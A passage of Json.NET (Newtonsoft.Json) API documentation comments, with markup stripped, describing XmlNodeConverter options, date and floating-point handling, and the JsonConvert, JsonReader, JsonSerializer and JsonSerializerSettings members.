indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + true if the array attribute is written to the XML; otherwise, false. + + + + Gets or sets a value indicating whether to write the root JSON object. + + true if the JSON root object is omitted; otherwise, false. + + + + Gets or sets a value indicating whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + true if special characters are encoded; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The calling serializer. + The value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Checks if the is a namespace attribute. + + Attribute name to test. + The attribute name prefix if it has one, otherwise an empty string. + true if attribute name is for a namespace attribute, otherwise false. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Specifies how dates are formatted when writing JSON text. + + + + + Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". + + + + + Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". + + + + + Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. + + + + + Date formatted strings are not parsed to a date type and are read as strings. + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Specifies how to treat the time value when converting between string and . + + + + + Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. + + + + + Treat as a UTC. If the object represents a local time, it is converted to a UTC. + + + + + Treat as a local time if a is being converted to a string. + If a string is being converted to , convert to a local time if a time zone is specified. + + + + + Time zone information should be preserved when converting. + + + + + The default JSON name table implementation. + + + + + Initializes a new instance of the class. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Adds the specified string into name table. + + The string to add. + This method is not thread-safe. + The resolved string. + + + + Specifies default value handling options for the . + + + + + + + + + Include members where the member value is the same as the member's default value when serializing objects. + Included members are written to JSON. Has no effect when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + so that it is not written to JSON. + This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, + decimals and floating point numbers; and false for booleans). The default value ignored can be changed by + placing the on the property. + + + + + Members with a default value but no JSON will be set to their default value when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + and set members to their default value when deserializing. + + + + + Specifies float format handling options when writing special floating point numbers, e.g. , + and with . + + + + + Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". + + + + + Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. + Note that this will produce non-valid JSON. + + + + + Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. + + + + + Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Floating point numbers are parsed to . + + + + + Floating point numbers are parsed to . + + + + + Specifies formatting options for the . + + + + + No special formatting is applied. This is the default. + + + + + Causes child objects to be indented according to the and settings. + + + + + Provides an interface for using pooled arrays. + + The array type content. + + + + Rent an array from the pool. This array must be returned when it is no longer needed. + + The minimum required length of the array. The returned array may be longer. + The rented array from the pool. This array must be returned when it is no longer needed. + + + + Return an array to the pool. + + The array that is being returned. + + + + Provides an interface to enable a class to return line and position information. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + The current line number or 0 if no line information is available (for example, when returns false). + + + + Gets the current line position. + + The current line position or 0 if no line information is available (for example, when returns false). + + + + Instructs the how to serialize the collection. + + + + + Gets or sets a value indicating whether null items are allowed in the collection. + + true if null items are allowed in the collection; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a flag indicating whether the array can contain null items. + + A flag indicating whether the array can contain null items. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to use the specified constructor when deserializing that object. + + + + + Instructs the how to serialize the object. + + + + + Gets or sets the id. + + The id. + + + + Gets or sets the title. + + The title. + + + + Gets or sets the description. + + The description. + + + + Gets or sets the collection's items converter. + + The collection's items converter. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets a value that indicates whether to preserve object references. + + + true to keep object reference; otherwise, false. The default is false. + + + + + Gets or sets a value that indicates whether to preserve collection's items references. + + + true to keep collection's items object references; otherwise, false. The default is false. + + + + + Gets or sets the reference loop handling used when serializing the collection's items. + + The reference loop handling. + + + + Gets or sets the type name handling used when serializing the collection's items. + + The type name handling. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Provides methods for converting between .NET types and JSON types. + + + + + + + + Gets or sets a function that creates default . + Default settings are automatically used by serialization methods on , + and and on . + To serialize without using any default settings create a with + . + + + + + Represents JavaScript's boolean value true as a string. This field is read-only. + + + + + Represents JavaScript's boolean value false as a string. This field is read-only. + + + + + Represents JavaScript's null as a string. This field is read-only. + + + + + Represents JavaScript's undefined as a string. This field is read-only. + + + + + Represents JavaScript's positive infinity as a string. This field is read-only. + + + + + Represents JavaScript's negative infinity as a string. This field is read-only. + + + + + Represents JavaScript's NaN as a string. This field is read-only. + + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + The time zone handling when the date is converted to a string. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + The string escape handling. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Serializes the specified object to a JSON string. + + The object to serialize. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting. + + The object to serialize. + Indicates how the output should be formatted. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting and a collection of . + + The object to serialize. + Indicates how the output should be formatted. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to a .NET object using . + + The JSON to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The of object being deserialized. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the given anonymous type. + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the given anonymous type using . + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The type of the object to deserialize to. + The JSON to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The type of the object to deserialize to. + The object to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The JSON to deserialize. + The type of the object to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The JSON to deserialize. + The type of the object to deserialize to. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + + + Populates the object with values from the JSON string using . + + The JSON to populate values from. + The target object to populate values onto. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + + + + Serializes the to a JSON string. + + The node to serialize. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to serialize. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Serializes the to a JSON string. + + The node to convert to JSON. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to convert to JSON. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Converts an object to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can read JSON. + + true if this can read JSON; otherwise, false. + + + + Gets a value indicating whether this can write JSON. + + true if this can write JSON; otherwise, false. + + + + Converts an object to and from JSON. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. If there is no existing value then null will be used. + The existing value has a value. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Instructs the to use the specified when serializing the member or class. + + + + + Gets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + + + + + Initializes a new instance of the class. + + Type of the . + + + + Initializes a new instance of the class. + + Type of the . + Parameter list to use when constructing the . Can be null. + + + + Represents a collection of . + + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Instructs the to deserialize properties with no matching class member into the specified collection + and write values during serialization. + + + + + Gets or sets a value that indicates whether to write extension data when serializing the object. + + + true to write extension data when serializing the object; otherwise, false. The default is true. + + + + + Gets or sets a value that indicates whether to read extension data when deserializing the object. + + + true to read extension data when deserializing the object; otherwise, false. The default is true. + + + + + Initializes a new instance of the class. + + + + + Instructs the not to serialize the public field or public read/write property value. + + + + + Base class for a table of atomized string objects. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Instructs the how to serialize the object. + + + + + Gets or sets the member serialization. + + The member serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified member serialization. + + The member serialization. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to always serialize the member with the specified name. + + + + + Gets or sets the type used when serializing the property's collection items. + + The collection's items type. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the null value handling used when serializing this property. + + The null value handling. + + + + Gets or sets the default value handling used when serializing this property. + + The default value handling. + + + + Gets or sets the reference loop handling used when serializing this property. + + The reference loop handling. + + + + Gets or sets the object creation handling used when deserializing this property. + + The object creation handling. + + + + Gets or sets the type name handling used when serializing this property. + + The type name handling. + + + + Gets or sets whether this property's value is serialized as a reference. + + Whether this property's value is serialized as a reference. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets a value indicating whether this property is required. + + + A value indicating whether this property is required. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified name. + + Name of the property. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Specifies the state of the reader. + + + + + A read method has not been called. + + + + + The end of the file has been reached successfully. + + + + + Reader is at a property. + + + + + Reader is at the start of an object. + + + + + Reader is in an object. + + + + + Reader is at the start of an array. + + + + + Reader is in an array. + + + + + The method has been called. + + + + + Reader has just read a value. + + + + + Reader is at the start of a constructor. + + + + + Reader is in a constructor. + + + + + An error occurred that prevents the read operation from continuing. + + + + + The end of the file has been reached successfully. + + + + + Gets the current reader state. + + The current reader state. + + + + Gets or sets a value indicating whether the source should be closed when this reader is closed. + + + true to close the source when this reader is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether multiple pieces of JSON content can + be read from a continuous stream without erroring. + + + true to support reading multiple pieces of JSON content; otherwise false. + The default is false. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + Gets or sets how time zones are handled when reading JSON. + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Gets or sets how custom date formatted strings are parsed when reading JSON. + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets the type of the current JSON token. + + + + + Gets the text value of the current JSON token. + + + + + Gets the .NET type for the current JSON token. + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Reads the next JSON token from the source. + + true if the next token was read successfully; false if there are no more tokens to read. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Skips the children of the current token. + + + + + Sets the current token. + + The new token. + + + + Sets the current token and value. + + The new token. + The value. + + + + Sets the current token and value. + + The new token. + The value. + A flag indicating whether the position index inside an array should be updated. + + + + Sets the state based on current token type. + + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Changes the reader's state to . + If is set to true, the source is also closed. + + + + + The exception thrown when an error occurs while reading JSON text. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to always serialize the member, and to require that the member has a value. + + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Serializes and deserializes objects into and from the JSON format. + The enables you to control how objects are encoded into JSON. + + + + + Occurs when the errors during serialization and deserialization. + + + + + Gets or sets the used by the serializer when resolving references. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + + + + Gets or sets how reference loops (e.g. a class referencing itself) is handled. + The default value is . + + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets a collection that will be used during serialization. + + Collection that will be used during serialization. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. + The default value is false. + + + true if there will be a check for additional JSON content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Creates a new instance. + The will not use default settings + from . + + + A new instance. + The will not use default settings + from . + + + + + Creates a new instance using the specified . + The will not use default settings + from . + + The settings to be applied to the . + + A new instance using the specified . + The will not use default settings + from . + + + + + Creates a new instance. + The will use default settings + from . + + + A new instance. + The will use default settings + from . + + + + + Creates a new instance using the specified . + The will use default settings + from as well as the specified . + + The settings to be applied to the . + + A new instance using the specified . + The will use default settings + from as well as the specified . + + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Deserializes the JSON structure contained by the specified . + + The that contains the JSON structure to deserialize. + The being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The type of the object to deserialize. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is Auto to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Specifies the settings on a object. + + + + + Gets or sets how reference loops (e.g. a class referencing itself) are handled. + The default value is . + + Reference loop handling. + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + Missing member handling. + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + Null value handling. + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + The default value handling. + + + + Gets or sets a collection that will be used during serialization. + + The converters. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + The preserve references handling. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + The type name handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + The contract resolver. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets the used by the serializer when resolving references. + + The reference resolver. + + + + Gets or sets a function that creates the used by the serializer when resolving references. + + A function that creates the used by the serializer when resolving references. + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the error handler called during serialization and deserialization. + + The error handler called during serialization and deserialization. + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + 